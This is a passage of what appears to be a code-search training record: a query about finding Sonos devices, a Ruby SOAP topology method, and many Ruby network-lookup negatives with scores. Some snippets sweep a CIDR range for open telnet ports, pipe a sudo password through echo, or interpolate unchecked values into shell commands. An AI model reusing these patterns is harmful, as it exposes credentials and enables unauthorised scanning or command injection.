possible_ips.reject! { |ip| ip == \"127.0.0.1\" }\n return possible_ips.first\n end\n end", "def first_hop()\n @hops.find { |hop| !hop.ip.nil? && hop.ip != \"0.0.0.0\" }\n end", "def find_private_ip\n ip_addresses = interface_addresses\n ip_addresses.each do |ip|\n if ip.start_with?(\"192\") || ip.start_with?(\"10\")\n return ip\n end\n end\n return nil\n end", "def dev_addr(mac, family='lladdr')\n interface_node = node['network']['interfaces']\n addr = mac.downcase\n interface_node.select do |dev, data|\n data['addresses'].select do |id, prop|\n\treturn dev if id.downcase == addr && prop['family'] == family\n end\n end\n return nil\n end", "def get_public_ipv4\n # Socket.ip_address_list.detect{|intf| intf.ipv4? and !intf.ipv4_loopback? and !intf.ipv4_multicast? and intf.ipv4_private?}\n Socket.ip_address_list.detect{|intf| intf.ipv4_private?}\nend", "def lookup_device(ip)\n\t\t@map[ip]\n\tend", "def device_ipaddress; end", "def device_ipaddress; end", "def detect_ip\n mac = vm_info['VM']['TEMPLATE']['NIC']['MAC']\n 20.times do\n debug 'Trying to get IP...'\n out = `echo '#{config[:local_sudo_pass]}' | sudo -S nmap -sP -n 153.15.248.0/21`\n out = out.lines\n index = out.find_index { |s| s =~ /.*#{mac}.*/i }\n if index\n return out.to_a[index - 2].scan(/[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+/)[0]\n end\n end\n warn \"Can't locate VM ip\"\n nil\n end", "def get_ip_address(name, eth)\n network[:interfaces][eth][:addresses].each do |key, info|\n rackspace[name] = key if info['family'] == 'inet'\n end\nend", "def ip_all\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n puts \"\\nName: : #{iface.name}\"\n puts \"Address: :' + #{iface.addr.ip_address}\"\n end\nend", "def ip_by_mount(name)\n dev = available_dev unless mounted?(name)\n loc = mount(name, dev)\n addr = %x{cat #{File.join(loc, 'etc', 'network', 'interfaces')} | grep address}.split(' ').last.to_s.strip\n unmount_kvm_volume(name, dev) if dev\n addr\nend", "def ceph_chef_find_node_ip_in_network(networks, nodeish = nil)\n require 'netaddr'\n nodeish = node unless nodeish\n networks.each do |network|\n network.split(/\\s*,\\s*/).each do |n|\n net = NetAddr::CIDR.create(n)\n nodeish['network']['interfaces'].each do |_iface, addrs|\n addresses = addrs['addresses'] || []\n addresses.each do |ip, params|\n return ceph_chef_ip_address_to_ceph_chef_address(ip, params) if ceph_chef_ip_address_in_network?(ip, params, net)\n end\n end\n end\n end\n nil\nend", "def get_network_by_interface(interface)\n\n ifconfig = `ifconfig`.split(\"\\n\\n\").index_by{|x| x[/\\w+/,0]}\n inet = ifconfig[interface][/inet addr:([^\\s]*)/, 1].split('.')\n broadcast = ifconfig[interface][/Bcast:([^\\s]*)/, 1].split('.')\n mask = ifconfig[interface][/Mask:([^\\s]*)/, 1].split('.')\n\n start_first = inet[0].to_i & mask[0].to_i\n start_second = inet[1].to_i & mask[1].to_i\n start_third = inet[2].to_i & mask[2].to_i\n start_fourth = inet[3].to_i & mask[3].to_i\n\n first_range = start_first..broadcast[0].to_i\n second_range = start_second..broadcast[1].to_i\n third_range = start_third..broadcast[2].to_i\n fourth_range = start_fourth..broadcast[3].to_i\n \n @ips_to_check = []\n first_range.each do |first|\n second_range.each do |second|\n third_range.each do |third|\n fourth_range.each do |fourth|\n @ips_to_check << \"#{first}.#{second}.#{third}.#{fourth}\"\n end\n end\n end\n end\n puts \"Checking ips in (#{first_range}).(#{second_range}).(#{third_range}).(#{fourth_range})\"\n \n @ips_to_check\n end", "def find_good_ip_addr list\n list.each do |addr|\n triplets = addr.split('.')\n if not triplets[0].to_i == 255 and not triplets[2].to_i == 255\n return addr\n end\n end\n nil\nend", "def scan_interfaces\n first_with_medium = self.class.interfaces.find {\n |iface| iface.medium_present?\n }\n\n if first_with_medium\n first_with_medium.name\n else\n # if we get here no interface was found with a cable attached\n # default to eth0 and hope for the best\n STDERR.puts \"warning: no suitable interface found, using eth0\"\n 'eth0'\n end\n end", "def ip\n arp = Cheetah.run([\"arp\", \"-n\"], stdout: :capture)\n entry = arp.lines.find { |a| a.include?(mac) }\n return nil if entry.nil?\n entry.split(\" \")[0]\n end", "def read_static_machine_ips\n ips = []\n @machine.config.vm.networks.each do |type, options|\n options = scoped_hash_override(options, :virtualbox)\n\n if type == :private_network && options[:type] != :dhcp && options[:ip].is_a?(String)\n ips << options[:ip]\n end\n end\n\n if ips.empty?\n return nil\n end\n\n ips\n end", "def devices\n @socket.send(search_message, 0, MULTICAST_ADDR, MULTICAST_PORT)\n listen_for_responses(first)\n end", "def ip_names\n Socket.getifaddrs.map do |ifnames|\n next unless ifnames.addr.ipv4?\n\n puts \" #{ifnames.name}\"\n end\nend", "def get_ip_address(name, eth)\n if eth_iface = network[:interfaces][eth]\n eth_iface[:addresses].each do |key, info|\n jpc2[name] = key if info['family'] == 'inet'\n end\n end\nend", "def get_mac_address\n IO.popen(\"ifconfig\") do |io|\n while line = io.gets\n return $1 if (line =~ /HWaddr ([A-Z0-9:]+)/)\n end\n end\n return nil\nend", "def get_ip_addresses\n sa = MainSettings.instance\n begin\n s = UDPSocket.new(Socket::AF_INET)\n s.connect(\"8.8.8.8\", 1)\n if (s.addr[0] == \"AF_INET\")\n @ipv4 = IPAddr.new(s.addr.last)\n end\n rescue SocketError => e\n $stderr.puts \"Unable to determine IPv4 address: #{e}\"\n rescue Errno::ENETUNREACH => e\n $stderr.puts \"Unable to determine IPv4 address: #{e}\"\n end\n puts \"Finished acquiring IPv4 address\" if $verbose\n\n# begin\n# s = UDPSocket.new(Socket::AF_INET6)\n# s.connect(\"2001:4860:b006::2\", 1)\n# if (s.addr[0] == \"AF_INET6\")\n# @ipv6 = IPAddr.new(s.addr.last)\n# end\n# rescue SocketError => e\n# $stderr.puts \"Unable to determine IPv6 address: #{e}\"\n# rescue Errno::ENETUNREACH => e\n# $stderr.puts \"Unable to determine IPv6 address: #{e}\"\n# end\n# puts \"Finished acquiring IPv6 address\" if $verbose\n end", "def get_nat_ip\n puts \"Getting NAT address\"\n\n # Get first instance with \"nat\" role\n instance = instances_for_role(\"nat\").first[:instances].first\n # Grab the interface that has source_dest_check set to false (most likely interface)\n primary = instance[:network_interfaces].select { |x| x[:source_dest_check] == false }.first\n nat = \"ec2-user@#{primary[:association][:public_ip]}\"\n\n puts \" - #{nat}\"\n nat\n end", "def discover\n send_discovery_message\n @first_device_ip = listen_for_responses\n end", "def get_network_name(ip)\n cmd_out = `netsh interface ip show config`\n network_details = cmd_out.split(/^$/).reject(&:empty?).select do |settings|\n begin\n lines = settings.split(/\\n/).reject(&:empty?)\n subnet = lines[3]\n next false unless subnet =~ /Subnet Prefix/\n\n mask = IPAddr.new(subnet.match(%r{.* (\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}.\\d{1,3}/\\d{1,3}).*}).captures[0])\n address = IPAddr.new(ip)\n\n mask.include?(address)\n rescue StandardError\n false\n end\n end\n return nil if network_details[0].nil? || network_details[0].empty?\n\n network_details[0].split(/\\n/).reject(&:empty?)[0].match(/Configuration for interface \"(.*)\"/).captures[0].strip\n end", "def search_host\n begin\n if @host_search\n @host = Resolv.getname self.ip.to_s\n else\n @host = nil\n end\n rescue Resolv::ResolvError\n @host = nil\n end\n end", "def interface_by_ip(ip)\n return `ifconfig |grep -B 2 -e \\\"#{ip} \\\" | awk '/Link encap/ {split ($0,A,\" \"); print A[1]}'`.chomp\n end", "def get_local_ip(network)\n UDPSocket.open do |sock|\n sock.connect network, 1\n sock.addr.last\n end\n end", "def get_internal_ip_address\r\n sock = UDPSocket.new\r\n sock.connect('1.0.0.1', 1) #@igd_location.split('//').last.split('/').first.split(':').first\r\n return sock.addr.last\r\n rescue Exception\r\n return \"127.0.0.1\"\r\n end", "def find_open_telnets\n puts \"[#{'*'.blue}] Scanning #{@cidr.blue.bold}\"\n Open3.popen3(\"nmap -v -p23 #{@cidr} -oG - | grep \\\"Ports: 23\\\"\") do |stdin, stdout, stderr, wth|\n stdout.sync = true\n stdout.each_line do |line|\n data = line.match(/^Host: (\\d+\\.\\d+\\.\\d+\\.\\d+).*Ports: (\\d+)\\/(\\w+).*/)\n puts \"[#{'+'.blue}] #{data[1].ljust(13)} #{data[3].ljust(13)}\"\n if data[3] == 'open'\n @hosts << data[1]\n end\n end\n end\n end", "def ssdp_search\n log.info 'Trying SSDP discover...'\n try = 1\n while true do\n response = Frisky::SSDP.search SSDP_SEARCH_TARGET\n if response.present?\n break\n elsif try < SSDP_SEARCH_RETRY\n try += 1\n log.warn \"SSDP discover failed, retrying... (#{try}/#{SSDP_SEARCH_RETRY})\"\n sleep(SSDP_RETRY_INTERVAL)\n else\n raise DeviceNotFound, 'Cannot find camera API server. Please confirm network connection is correct.'\n end\n end\n log.info 'SSDP discover succeeded.'\n\n # get device description\n dd = HTTPClient.new.get_content(response[0][:location])\n # puts dd\n parse_device_description(dd)\n end", "def libvirt_vm_ip(name)\n mac = `sudo virsh domiflist #{name} | tail -n +3 | tr -s \" \" | cut -f 5 -d \" \"`.strip\n address = `arp | grep -i #{mac} | cut -f1 -d \" \"`.chomp\n { address: address, port: SSH_PORT }\n end", "def lookup_device ip, params, try_insert=true\n # normalise identifiers\n installation = (params['installation'] || '').downcase.strip\n bdaddr = (params['bdaddr'] || '').downcase.strip\n macaddr = (params['macaddr'] || '').downcase.strip\n\n values = [installation, ip, bdaddr, macaddr]\n\n ids = $cn.exec('\nSELECT device_id FROM devices\nWHERE installation=$1 AND ip=$2 AND bdaddr=$3 AND macaddr=$4', values)\n device_id = nil\n ids.each do |id|\n return id['device_id'].to_i\n end\n\n if try_insert\n # try again once\n result = $cn.exec('\nINSERT INTO devices(installation, ip, bdaddr, macaddr)\nVALUES($1, $2, $3, $4)', values)\n return lookup_device(ip, params, false)\n else\n raise \"device not found after insert: #{values.inspect}\"\n end\nend", "def get_ip_address(type)\n network[:interfaces].each do |iface, info|\n next unless info['type'] == 'eth'\n info[:addresses].each do |addr, detail|\n next unless detail['family'] == 'inet'\n case type\n when :public_ip\n return addr if !is_private?(addr)\n when :private_ip\n return addr if is_private?(addr)\n end\n end\n end\n return nil\n end", "def find_host_only_adapter\n @machine.provider.driver.read_network_interfaces.each do |adapter, opts|\n if opts[:type] == :hostonly\n @machine.provider.driver.read_host_only_interfaces.each do |interface|\n if interface[:name] == opts[:hostonly]\n return adapter, interface[:ip]\n end\n end\n end\n end\n\n nil\n end", "def san_interfaces\n if san_nics.length == sans.length \n ports = san_network_ports().sort\n ips = san_nodes.map{|x| x.ip_address.to_s }.sort\n #return [] if ports.length != ips.length \n ports.zip(ips)\n else\n []\n end\n end", "def search_WANConnection\r\n WANIP.each do |i|\r\n data = httpu_get(\"239.255.255.250\", 1900, sprintf(SEARCH_WANCON, i))\r\n return load_location_from_httpu_data(data.first) if(data)\r\n end\r\n debug(\"Failed to find WANIPConnection\")\r\n WANPPP.each do |i|\r\n data = httpu_get(\"239.255.255.250\", 1900, sprintf(SEARCH_WANCON, i))\r\n return load_location_from_httpu_data(data.first) if(data)\r\n end\r\n return false\r\n end", "def find_net(name)\n cmd = \"docker network ls -q --filter label=#{label_pair(:name, name)}\"\n netid = `#{cmd}`.chomp\n return netid unless netid.empty?\n nil\n end", "def extract_cluster_ip(node_results)\n use_interface = node['postgresql-bdr-cluster']['use_interface']\n node_results['network_interfaces'][use_interface]['addresses']\n .select { |k,v| v['family'] == 'inet' }.keys\nend", "def intface_info\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n p iface.netmask\n end\nend", "def kvm_ip(name)\n addr = ip_by_mac(node_mac(name))\n addr.empty? ? ip_by_mount(name) : addr\nend", "def ip\n ssh.exec!(\"/sbin/ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'\").chomp\n end", "def network\n lines, errs = networksetup(\"getairportnetwork #{options[:device_id]}\")\n lines.join('\\n') =~ /Current Wi-Fi Network: (.+)$/i\n $1\n end", "def ip_first\n NetAddr::CIDR.create(cidr_obj.to_i(:network) + 2).ip\n end", "def ip_by_interface(int)\n return `ifconfig #{int} | awk '/inet addr/ {split ($2,A,\":\"); print A[2]}'`.chomp\n end", "def find(a)\n devices.find { |d| d.alias.match(/^#{a}$/i) }\n end", "def to_ipaddr\n unless ip_addr?\n lookup = `host #{to_s} | grep address`.split(/\\s+/)\n return to_s unless lookup.length == 4\n lookup[3]\n else \n to_s\n end\n end", "def scanWarp(command = 'arp -a')\n self.hosts = [] \n lines = IO.popen(command)\n lines.each do |sys|\n if sys.count(' ') == 6\n m = sys.split\n ip = \"#{m[1].sub(/\\((.*)\\)/,'\\1')}\"\n mac = \"#{m[3]}\"\n iface = \"#{m[6]}\"\n hosts.push(Host.new(ip, \"host#{ip}\", mac, iface, \"ping\", \"nmap\"))\n end\n end\n end", "def lookup_in_ethers(input)\n if File.exist?(@ethers) and File.readable?(@ethers)\n File.open(@ethers,'r') do |f|\n f.each_line do |line|\n next if line.match(/^#/)\n next if line.match(/^\\s$/)\n mac, host = line.chomp.split\n if /^#{input}$/.match(host)\n return mac\n end\n end\n end\n return nil\n end\n end", "def external_interface\r\n begin\r\n UDPSocket.open {|s| s.connect('ping.watirgrid.com', 1); s.addr.last }\r\n rescue\r\n '127.0.0.1'\r\n end\r\n end", "def device_ipaddress=(_arg0); end", "def device_ipaddress=(_arg0); end", "def ceph_chef_mon_addresses\n mon_ips = ceph_chef_mon_nodes_ip(ceph_chef_mon_nodes)\n mon_ips.reject(&:nil?).uniq\nend", "def get_bridged_vbox_nic()\n message = \"Checking:\\tBridged interfaces\"\n command = \"VBoxManage list bridgedifs\"\n nic_list = execute_command(message,command)\n nic_name = \"\"\n if !nic_list.match(/[A-z]/)\n nic_name = $default_net\n else\n nic_list=nic_list.split(/\\n/)\n nic_list.each do |line|\n line=line.chomp\n if line.match(/#{$default_host}/)\n return nic_name\n end\n if line.match(/^Name/)\n nic_name = line.split(/:/)[1].gsub(/\\s+/,\"\")\n end\n end\n end\n return nic_name\nend", "def address_for(network); end", "def read_machine_ip(machine)\n machine.config.vm.networks.each do |type, options|\n if type == :private_network && options[:ip].is_a?(String)\n return options[:ip]\n end\n end\n\n nil\n end", "def ip_by_interface(int)\n ip = `ifconfig #{int} | awk '/inet addr/ {split ($2,A,\":\"); print A[2]}'`.chomp\n return ip\n end", "def default_gw_ipaddr\n ip = case `/bin/uname -s`.rstrip\n when 'Linux'\n `/sbin/ip route get 8.8.8.8`.split(\"\\n\")[0].split.last\n when 'SunOS'\n `/sbin/ifconfig $(/usr/sbin/route -n get 1.1.1.1 | awk '$1 == \"interface:\" {print $2}') | awk '$1 == \"inet\" { print $2 }'`\n else\n raise \"Unsupported platform to detect gateway IP address: #{`/bin/uname`}\"\n end\n ip = ip.rstrip\n raise \"Failed to run command lines or empty result\" if ip == '' || $?.exitstatus != 0\n ip\n end", "def current_ip(inter)\n net_info = `ifconfig`\n section_index = net_info.index(inter)\n line_index = net_info.index('inet', section_index)\n ip_address = net_info[line_index..-1].match(/\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/)[0]\n return ip_address\nend", "def get_dns_ipaddr(host)\n dns = Dnsruby::DNS.new({\n :nameserver => [ IWMNns ],\n :search => [ 'canishe.com' ],\n :ndots => 1\n })\n\n answer = dns.getaddress(host)\n\n return answer.to_s\nend", "def external_interface\r\n begin\r\n UDPSocket.open {|s| s.connect('ping.watirgrid.com', 1); s.addr.last }\r\n rescue\r\n '127.0.0.1'\r\n end\r\n end", "def ip\n if ifconfig =~ /inet addr:([0-9.]+)/\n $1\n else\n \"0.0.0.0\"\n end\n end", "def address(public_ip)\n addresses(public_ip)[0]\n end", "def nic\n a = execute_wmi_query(\"select * from Win32_NetworkAdapterConfiguration where InterfaceIndex='#{adapter.InterfaceIndex}'\")\n wmi_object_array(a).first\n end", "def find_local\n find_connection(\"#{BackgrounDRb::BDRB_CONFIG[:backgroundrb][:ip]}:#{BackgrounDRb::BDRB_CONFIG[:backgroundrb][:port]}\")\n end", "def find_internal_ip(nodes, tag)\n if @provider == 'aws'\n find_pip_for_tag(nodes, tag)\n elsif @provider == 'rackspace' or @provider == 'openstack'\n find_key_for_tag(nodes, tag)\n end\n end", "def bcast_info\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n output = iface.name + ':' + iface.inspect\n int = ('Address:' + ' ' + output.split[1] + ' ' + output.split[3..4].to_s)\n puts int.gsub('?', '0')\n end\nend", "def next_assigned\n Ip.find(:first, :conditions => \n ['address_i > ? AND service = ? and network_id is not null', self.address_i, self.service], :order => 'address_i asc')\n end", "def getNetwork(interface)\n net = Nokogiri::XML(\"#{interface}\").xpath(\"//ip\")\n if !net.empty?\n ip = net.attr('address').value\n netmask = net.attr('netmask').value\n end\n return ip, netmask\n end", "def get_mac_address(addresses)\n detected_addresses = addresses.detect { |address, keypair| keypair == { \"family\" => \"lladdr\" } }\n if detected_addresses\n detected_addresses.first\n else\n \"\"\n end\n end", "def server_get_public_ip(server_name)\n public_ip = ''\n if server_exist?(server_name)\n server = find_match(@compute.servers, server_name)\n network_name = server.addresses.keys.reduce\n server.addresses.each do |address|\n if (address.include? network_name and address.length == 2) #TODO: research why is this 'private' for a public ip?\n if address[1].length >= 2\n Puppet.debug \"found floating ip = #{address[1][1].inspect}\"\n public_ip = address[1][1].addr\n end\n end\n end\n end\n return public_ip\n end", "def public_ip_of(server)\n server[:cloud][:public_ips].first rescue server[:ipaddress]\n end", "def snag_ip\n java.net.NetworkInterface.network_interfaces.each do |networkInterface|\n networkInterface.inet_addresses.each do |inet|\n addr = inet.address\n if addr[0] == 10 && addr.length == 4 && addr[1] < 100 && addr[2] < 100 # TODO: will fail for alt 10.4.151.x\n teamn = addr[1] * 100 + addr[2]\n return teamn\n end\n end\n end\n end", "def read_host_ip(ip)\n\t UDPSocket.open do |s|\n\t if(ip.kind_of?(Array))\n\t s.connect(ip.last, 1)\n\t else\n\t s.connect(ip, 1)\n\t end\n\t s.addr.last\n\t end\n\tend", "def read_ip_address(machine)\n command = \"ip a | grep 'inet' | grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $2 }' | cut -f1 -d\\\"/\\\"\"\n result = \"\"\n $logger.info \"Processing #{ machine.name } ... \"\n begin\n # sudo is needed for ifconfig\n machine.communicate.sudo(command) do |type, data|\n result << data if type == :stdout\n end\n $logger.info \"Processing #{ machine.name } ... success\"\n rescue\n result = \"# NOT-UP\"\n $logger.info \"Processing #{ machine.name } ... not running\"\n end\n # the second inet is more accurate\n result.chomp.split(\"\\n\").select { |hash| hash != \"\" }[1]\nend", "def storm_nimbus\n if node[:storm][:nimbus][:host].nil?\n discover(:storm, :nimbus).private_ip rescue nil\n else\n node[:storm][:nimbus][:host]\n end\n end", "def get_mac_for_interface(interfaces, interface)\n interfaces[interface][:addresses].find { |k, v| v[\"family\"] == \"lladdr\" }.first unless interfaces[interface][:addresses].nil? || interfaces[interface][:flags].include?(\"NOARP\")\n end", "def local_ip\n orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true # turn off reverse DNS resolution temporarily\n\n UDPSocket.open do |s|\n s.connect '64.233.187.99', 1\n s.addr.last\n end\nensure\n Socket.do_not_reverse_lookup = orig\nend", "def public_ip_address\n public_ip_addresses.first\n end", "def address\n return @mac_address if defined? @mac_address and @mac_address\n re = %r/[^:\\-](?:[0-9A-F][0-9A-F][:\\-]){5}[0-9A-F][0-9A-F][^:\\-]/io\n cmds = '/sbin/ifconfig', '/bin/ifconfig', 'ifconfig', 'ipconfig /all', 'cat /sys/class/net/*/address'\n\n null = test(?e, '/dev/null') ? '/dev/null' : 'NUL'\n\n output = nil\n cmds.each do |cmd|\n begin\n r, w = IO.pipe\n ::Process.waitpid(spawn(cmd, :out => w))\n w.close\n stdout = r.read\n next unless stdout and stdout.size > 0\n output = stdout and break\n rescue\n # go to next command!\n end\n end\n raise \"all of #{ cmds.join ' ' } failed\" unless output\n\n @mac_address = parse(output)\n end", "def local_ip_address\n conf['base_address'] ||\n %x{ip addr show #{conf['base_interface'] || 'br0'} | grep inet}.split(' ')[1].to_s.strip.split('/').first.to_s\nend", "def resolve!\n Resolv.each_address(host) do |address|\n return @ip = address if address =~ pattern\n end\n end", "def ip\n # Get its IP that could have changed upon restart\n # cf https://github.com/moby/moby/issues/2801\n # Make sure we refresh its info before querying it, as we could hit a cache of a previous IP.\n _exit_status, stdout, _stderr = @cmd_runner.run_cmd \"#{podman_cmd} container inspect #{@container} | grep IPAddress\"\n stdout.strip.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)[0]\n end", "def interface_by_ip(ip)\n int = `ifconfig |grep -B 2 -e \\\"#{ip} \\\" | awk '/Link encap/ {split ($0,A,\" \"); print A[1]}'`.chomp\n return int\n end", "def get_ip_for_net(network, nodeish = nil)\n _, ip = get_if_ip_for_net(network, nodeish)\n return ip\n end", "def local_ip\n UDPSocket.open {|s| s.connect(\"64.233.187.99\", 1); s.addr.last}\n end", "def locate\n @result ||= self.class.get(\n \"/\",\n :query => {:ip => @ip},\n :format => :xml\n )['HostipLookupResultSet']['gml:featureMember']\n end", "def extract_cluster_ip(node_results)\n use_interface = node['postgresql-cluster']['use_interface']\n node_results['network_interfaces'][use_interface]['addresses']\n .select { |k,v| v['family'] == 'inet' }.keys\n end" ]
[ "0.67007095", "0.6655891", "0.6606347", "0.65200466", "0.6434014", "0.6404742", "0.6386754", "0.6307892", "0.63044244", "0.6298022", "0.62897813", "0.6237097", "0.6225879", "0.616932", "0.61301744", "0.6038306", "0.60352594", "0.60295093", "0.60295093", "0.6010436", "0.5962266", "0.5958745", "0.59233755", "0.59154063", "0.5901417", "0.58993703", "0.5892698", "0.58881164", "0.58759195", "0.58713466", "0.58661884", "0.5841963", "0.58392555", "0.5837402", "0.5837359", "0.5832639", "0.582959", "0.5821792", "0.5803005", "0.5801562", "0.5795917", "0.57559496", "0.57537574", "0.57478964", "0.57477814", "0.5742646", "0.5741554", "0.5736572", "0.5732171", "0.5716961", "0.5714648", "0.5695339", "0.5689731", "0.56896085", "0.5677191", "0.56732816", "0.5669373", "0.56682247", "0.56633854", "0.5663083", "0.5659375", "0.5653354", "0.5644787", "0.5644787", "0.5636686", "0.5636224", "0.5598709", "0.5582338", "0.55710226", "0.5567641", "0.5549323", "0.5546689", "0.55460674", "0.5545032", "0.55435705", "0.55428314", "0.55344576", "0.55333567", "0.55326945", "0.5529901", "0.5524734", "0.55228573", "0.5522312", "0.5515542", "0.55114955", "0.5505023", "0.55029255", "0.5480522", "0.5472684", "0.54702395", "0.5468808", "0.5462431", "0.5461666", "0.5453313", "0.54509526", "0.5445492", "0.543329", "0.5429436", "0.5427907", "0.5423942" ]
0.5988056
20
Find all of the Sonos devices on the network
def topology self.discover unless @first_device_ip return [] unless @first_device_ip namespace = "urn:schemas-upnp-org:service:ZoneGroupTopology:1" action = "#{namespace}#GetZoneGroupState" message = %Q{<u:GetZoneGroupState xmlns:u="#{namespace}"></u:GetZoneGroupState>} response = transport_client(@first_device_ip).call("GetZoneGroupState", soap_action: action, message: message) doc = Nokogiri::XML(response.body[:get_zone_group_state_response][:zone_group_state]) doc.xpath('//ZoneGroups/ZoneGroup').map { |node| Topology::Group.from_xml(node) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_devices\n get_device_paths.collect do |device_path|\n NetworkManager::Device.new(device_path)\n end\n end", "def devices(params={})\n res = @client.get(\"#{path}/devices\", params)\n\n res.json[\"devices\"].map{ |atts| ::M2X::Client::Device.new(@client, atts) } if res.success?\n end", "def all_devices search = nil\n partitions = []\n devices = []\n device = nil\n has_extended = false\n if DEBUG_MODE or Platform.ubuntu? or Platform.fedora?\n command = \"lsblk\"\n params = \" #{search} -b -P -o VENDOR,MODEL,TYPE,SIZE,KNAME,UUID,LABEL,MOUNTPOINT,FSTYPE,RM\"\n end\n lsblk = CommandsExecutor.new command, params\n lsblk.execute\n raise \"Command execution error: #{lsblk.stderr.read}\" if not lsblk.success?\n\n lsblk.result.each_line do |line|\n data_hash = {}\n line.squish!\n line_data = line.gsub!(/\"(.*?)\"/, '\\1#').split \"#\"\n line_data.each do |data|\n data.strip!\n key, value = data.split \"=\"\n data_hash[key.downcase] = value\n end\n data_hash['rm'] = data_hash['rm'].to_i # rm = 1 if device is a removable/flash device, otherwise 0\n if data_hash['type'] == 'mpath'\n data_hash.except!('uuid', 'label', 'mountpoint', 'fstype')\n if device\n multipath_info = {'mkname' => data_hash['kname'], 'multipath' => true, 'size' => data_hash['size']}\n device.merge! multipath_info\n else\n data_hash['multipath'] = true\n device = data_hash\n devices.push device\n end\n next\n end\n if data_hash['type'] == 'disk'\n data_hash.except!('uuid', 'label', 'mountpoint', 'fstype')\n unless device.nil?\n device['partitions'] = partitions\n partitions = []\n devices.push device\n device = nil # cleanup the variable\n end\n device = data_hash\n next\n end\n if data_hash['type'] == 'part'\n data_hash.except!('model', 'vendor')\n data_hash.merge! self.usage data_hash['kname']\n\n partition_number = get_partition_number \"/dev/#{data_hash['kname']}\" # For reference: data_hash['kname'].match(/[0-9]*$/)[0].to_i\n extended_partition_types = ['0x05'.hex, '0x0F'.hex]\n if partition_type_hex(data_hash['kname']).in? extended_partition_types\n has_extended = true\n next\n end\n if has_extended and partition_number > 4\n data_hash['logical'] = true\n end\n # device['partitions'].nil? ? device['partitions'] = [data_hash] : device['partitions'].push(data_hash)\n partitions.push(data_hash)\n end\n end\n device['partitions'] = partitions if device\n devices.push device\n if search\n return devices.first || partitions.first\n else\n return devices\n end\n end", "def devices\n\texecute(\"devices\").split(\"\\n\")[1..-1]\nend", "def devices\n @socket.send(search_message, 0, MULTICAST_ADDR, MULTICAST_PORT)\n listen_for_responses(first)\n end", "def devices; end", "def devices\n @devices\n end", "def devices\n response = get('/listDevices')\n devices = []\n response.body['devices'].each do |d|\n devices << Device.from_json(d, @token, @logger)\n end\n devices\n end", "def list\n all.each { |device| puts(device.pretty_name) }\n end", "def devices\n devices = []\n present_runtime_name = nil\n\n SimCtl.cmd('list devices').lines.each do |l|\n case l[0]\n when'='\n # skip\n when '-'\n present_runtime_name = /^-- (.*) --$/.match(l)[1]\n when ' '\n arr = parse_std_line(l)\n # pp arr\n # exit 0\n d = SimDevice.new\n d.name = arr[0]\n d.id = arr[1]\n d.booted = (arr[2] == \"Booted\")\n d.runtime_name = present_runtime_name\n devices << d\n else\n #error \n end\n end\n\n devices.freeze\n end", "def devices\n puts `instruments -s devices | grep -v '(Simulator)'`\n end", "def get_network_sm_devices(options = {})\r\n # Validate required parameters.\r\n validate_parameters(\r\n 'network_id' => options['network_id']\r\n )\r\n # Prepare query url.\r\n _path_url = '/networks/{networkId}/sm/devices'\r\n _path_url = APIHelper.append_url_with_template_parameters(\r\n _path_url,\r\n 'networkId' => options['network_id']\r\n )\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n {\r\n 'fields' => options['fields'],\r\n 'wifiMacs' => options['wifi_macs'],\r\n 'serials' => options['serials'],\r\n 'ids' => options['ids'],\r\n 'scope' => options['scope'],\r\n 'batchSize' => options['batch_size'],\r\n 'batchToken' => options['batch_token']\r\n },\r\n array_serialization: Configuration.array_serialization\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) unless\r\n _context.response.raw_body.nil? ||\r\n _context.response.raw_body.to_s.strip.empty?\r\n decoded\r\n end", "def select_network_devices(component)\n pci_devices = component.try(:pciDevices).try(:select) { |device| network_device?(device) }\n addin_cards = component.try(:addinCards).try(:select) { |device| network_device?(device) }\n\n devices = []\n devices.concat(pci_devices) if pci_devices.present?\n devices.concat(addin_cards) if addin_cards.present?\n devices\n end", "def device_list\n @devices = Device.all\n end", "def devices\n return @devices\n end", "def list_ios_devices\n STDOUT.sync = true\n devices = \"\"\n while devices == \"\" do\n devices = `mobiledevice list_devices`\n end\n devices.split(/\\n/)\nend", "def find_matching_udev_devices(&block)\n\n #Create a udev enumerator devices.\n context = RubDev::Context.new\n enumerator = RubDev::Enumerate.new(context)\n\n #Yield the given enumerator to the provided block,\n #allowing it to narrow our search.\n block[enumerator]\n\n #... scan for the relevant devices...\n enumerator.scan_devices\n paths = enumerator.to_list\n\n devices = []\n\n #... and build an array of relevant syspaths.\n until paths.name.nil?\n devices << RubDev::Device.from_syspath(context, paths.name)\n paths.next\n end\n \n devices\n\n end", "def query_device_management\n @devices = query(\"select * from device_management \")\n end", "def fetch_sims\n device_list = JSON.parse(list(['-j', 'devices']))['devices']\n unless device_list.is_a?(Hash)\n msg = \"Expected devices to be of type Hash but instated found #{device_list.class}\"\n fail Fourflusher::Informative, msg\n end\n device_list.flat_map do |runtime_str, devices|\n # Sample string: iOS 9.3\n os_name, os_version = runtime_str.split ' '\n devices.map do |device|\n Simulator.new(device, os_name, os_version) if device['availability'] == '(available)'\n end\n end.compact.sort(&:sim_list_compare)\n end", "def devices\n @_devices ||= begin\n n = self.num_devices\n ptr2 = MemoryPointer::new( Device, n )\n error = OpenCL.clGetProgramInfo(self, DEVICES, Device.size*n, ptr2, nil)\n error_check(error)\n ptr2.get_array_of_pointer(0, n).collect { |device_ptr|\n Device::new(device_ptr)\n }\n end\n end", "def index\n @q = 